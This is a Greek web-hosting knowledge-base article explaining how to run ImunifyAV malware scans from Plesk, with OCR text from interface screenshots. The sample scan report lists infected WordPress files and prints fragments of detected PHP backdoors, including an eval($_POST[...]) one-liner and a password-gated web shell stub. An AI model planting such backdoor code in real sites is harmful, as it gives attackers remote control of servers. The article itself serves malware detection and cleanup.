

Knowledgebase > Plesk > Πως μπορώ να σκανάρω με το ImunifyAV για κακόβουλο περιεχόμενο στη σελίδα μου;

Πως μπορώ να σκανάρω με το ImunifyAV για κακόβουλο περιεχόμενο στη σελίδα μου;

Ioanna Anifanti - 2022-12-28 - Plesk

Σε περίπτωση που χρησιμοποιείτε Plesk server σε Linux, έχετε τη δυνατότητα να πραγματοποιήσετε **σκανάρισμα στα αρχεία σας**, ώστε να ελέγξετε τυχόν ύπαρξη κακόβουλου υλικού.

Για να πραγματοποιήσετε την διαδικασία αυτή, θα χρειαστεί αρχικά να συνδεθείτε στο Plesk με τα στοιχεία πρόσβασης σας.

Plesk web host edition
Username
Password
Default
Forgot your password?
Log in

Στη συνέχεια, έχοντας επιλέξει από την αριστερή λίστα το **Website & Domains** κάνετε click στην επιλογή **ImunifyAV.**



Για να εκκινήσετε το σκανάρισμα, επιλέγετε **Scan** ώστε να πραγματοποιηθεί σε μία ιστοσελίδα.

Εναλλακτικά, εάν το πακέτο σας περιλαμβάνει παραπάνω από ένα domain και επιθυμείτε να σκαναριαστούν όλα, τότε επιλέγετε **Scan All**.

Scan All Cancel All				
		×		
1 items total				
Domain	State	Report Time	Actions	
	Clean	2019-08-19 16:38:33	🕨 Scan	
1 items total				
() Customers knowledge base and interface	e description: https://plesk.revisium.com/help/.			
Click the buttons next to the website:				
"Scan" — to scan website's files for malware, "Clean" — to cleanup detected malware auto "Undo" — to restore original files before mal "View Report" — to see the list of infected or	, omatically (available in Premium version), lware cleanup and r cleaned files.			
Check the report for domain blacklist status	details.			

Σε περίπτωση που το ImunifyAV δεν εντοπίσει κάποιο malware στα αρχεία σας, τότε στο πεδίο **State** θα υπάρξει η ένδειξη **Clean**.

Εφόσον εντοπιστεί malware είτε κενά ασφαλείας στον κώδικα σας, στο πεδίο **State** θα εμφανιστεί η ένδειξη **Infected.**

1 items total			
Domain	State	Report Time	Actions
var/www.vhosts/ 1 items total	Infected 16 files		Scan 💿 View Report
var/www/hosts/ 1 items total	Infected 16 files		Scan 💿 View Rep

Κάνοντας click στο **View Report** θα μπορέσετε να δείτε την αναφορά του ImunifyAV με τυχόν κενά ασφαλείας ή malware.

Sul Finis Spe Nur Ava	mmary shed at: nt time: 1m nber of sca liable for au	43s nned files: 6218 ito-cleanup: 16			Public Vulnerabilities Fie /homedir/public_html/wp-content/plugins/wp_rokbox/thumb.php /homedir/public_html/wp- content/plugins/wp_roknewspager/thumb.php	Vulnerability RCE : TINTHUMB : 0 4663 RCE : TIMTHUMB : 0 4663 RCE : TIMTHUMB : 0 4663	VE-2011-4106,CVE-2014- VE-2011-4106,CVE-2014- VE-2011-4106,CVE-2014-
16 item	s total Type	Action	Signature ID	Pages: First << 1 2 >> Last File		Size	Entries per page: 10 25 10 Modified
1	SRV	🔺 Ignore	SMW-INJ-03406-bkdr.eval-0	/homedir/public_html/wp-admin/admin-footer.php }아마ㅋ		14 KB	2018-05-16 15:07:46
2	SRV	🔥 Ignore	SMW-INJ-03406-bkdr.eval-0	/homedir/public_html/wp-admin/custom-background.php l <gptp< td=""><td>24 KB</td><td>2018-05-16 15:07:47</td></gptp<>		24 KB	2018-05-16 15:07:47
3	SRV	🔺 Ignore	SMW-INJ-03406-bkdr.eval-0	/homedir/public_html/wp-content/plugins/cont php</td <td>tact-form-7/includes/capabilities.php</td> <td>9 KB</td> <td>2018-05-16 15:10:51</td>	tact-form-7/includes/capabilities.php	9 KB	2018-05-16 15:10:51
4	SRV	🔥 Ignore	SMW-INJ-03406-bkdr.eval-0	/homedir/public_html/wp-content/plugins/rokn php</td <td>newsflash/CHANGELOG.php</td> <td>11 KB</td> <td>2018-05-16 15:08:55</td>	newsflash/CHANGELOG.php	11 KB	2018-05-16 15:08:55
5	SRV	🛕 Ignore	SMW-INJ-03406-bkdr.eval-0	/homedir/public_html/wp-content/plugins/gant	try/gizmos/rokstyle.php	13 KB	2018-05-16 15:11:20
6	SRV	🔺 Ignore	SMW-INJ-03548-bkdr-3	/homedir/public_html/wp-content/uploads/wys php info(;? [php eval(\$_POST['pass3s']);?</td <td>sija/themes/tmp/LgOgu.php.suspected</td> <td>49 b</td> <td>2018-05-16 15:56:13</td>	sija/themes/tmp/LgOgu.php.suspected	49 b	2018-05-16 15:56:13
7	SRV	🔺 Ignore	SMW-SA-04420-wshll-0	/homedir/public_html/wp-content/uploads/wys php if(md5(\$_POST['password'])=='e191ee875c345fSadaf7</td <td>ijja/themes/KGWsBsuCMA/index.php 7e3o44811a230% preg.repl</td> <td>237 b</td> <td>2018-05-16 15:56:09</td>	ijja/themes/KGWsBsuCMA/index.php 7e3o44811a230% preg.repl	237 b	2018-05-16 15:56:09
8	SRV	🔺 Ignore	SMW-SA-04420-wshil-0	/homedir/public_html/wp-content/uploads/wys php lf(md5(\$_PO5T['password'])-=*0240387be81a74fca22</td <td>s<mark>ija/themes/hxqJTacnwG/index.php</mark> I3bf3002502b8c?{ [preg_repl</td> <td>237 b</td> <td>2018-05-16 15:56:08</td>	s <mark>ija/themes/hxqJTacnwG/index.php</mark> I3bf3002502b8c?{ [preg_repl	237 b	2018-05-16 15:56:08